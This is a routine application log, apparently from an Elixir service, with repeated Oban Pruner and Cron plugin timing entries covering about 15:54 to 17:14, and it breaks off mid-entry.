{"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:50.348 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.919 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:20.349 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:50.350 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.920 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:20.351 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:50.352 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.921 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:20.353 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:50.354 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.922 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:20.356 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:50.357 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.923 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:20.358 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:50.359 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.924 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:20.360 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:50.361 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.925 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:20.362 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:50.363 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.926 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:20.364 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:50.366 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.927 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:20.367 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:50.368 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.928 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:20.369 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:50.370 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.929 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:20.372 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:50.373 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.931 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:20.375 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:50.376 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.931 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:20.377 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:50.378 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.932 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:20.379 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:50.381 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.933 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:20.382 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:50.383 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.934 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:20.384 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:50.385 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.935 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:20.386 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:50.387 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.936 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:20.388 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:50.389 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.937 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:20.390 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:50.391 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.938 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:20.392 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:50.393 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.939 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:20.394 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:50.396 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.940 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:20.398 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:50.399 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.941 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:20.400 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:50.401 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.942 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:20.402 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:50.403 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.943 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:20.404 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:50.405 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.944 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:20.406 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:50.407 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.945 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:20.408 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:50.410 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.946 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:20.411 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:50.413 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.947 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:20.414 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:50.415 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.948 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:20.417 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:50.419 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.949 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:20.420 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:50.421 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.950 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:20.422 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:50.423 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.951 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:20.424 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:50.425 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.953 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:20.426 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:50.428 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.953 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:20.429 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:50.431 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.955 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:20.433 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:50.435 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.955 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:20.436 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:50.437 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.956 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:20.439 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:50.440 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.957 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:20.442 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:50.443 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.958 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:20.444 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:50.445 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.959 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:20.446 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:50.447 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.961 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:20.448 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:50.450 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.961 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:20.451 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:50.452 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.962 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:20.453 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:50.454 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.963 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:20.455 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:50.456 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.964 [info] {"source":"oban","duration":395,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:20.457 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:50.459 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.965 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:20.461 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:50.461 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.966 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:20.463 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:50.464 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.967 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:20.465 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:50.466 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.968 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:20.467 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:50.469 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.969 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:20.470 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:50.471 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.970 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:20.473 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:50.475 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.971 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:20.476 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:50.477 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.972 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:20.478 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:50.480 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.973 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:20.482 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:50.483 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.974 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:20.484 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:50.485 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.975 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:20.486 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:50.487 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.976 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:20.488 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:50.489 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.977 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:20.490 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:50.492 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.978 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:20.493 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:50.494 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.979 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:20.495 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:50.496 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.981 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:20.497 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:50.499 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.981 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:20.500 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:50.502 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.982 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:20.503 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:50.504 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.983 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:20.505 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:50.506 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.984 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:20.507 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:50.508 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.986 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:20.509 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:50.511 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.987 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:20.512 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:50.513 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.987 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:20.514 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:50.515 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.988 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:20.516 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:50.517 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.989 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:20.518 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:50.520 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.990 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:20.522 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:50.523 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.991 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:20.524 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:50.526 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.992 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:20.527 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:50.528 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.993 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:20.529 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:50.530 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.994 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:20.531 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:50.532 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.995 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:20.533 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:50.535 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.996 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:20.536 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:50.538 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.997 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:20.539 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:50.541 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.998 [info] 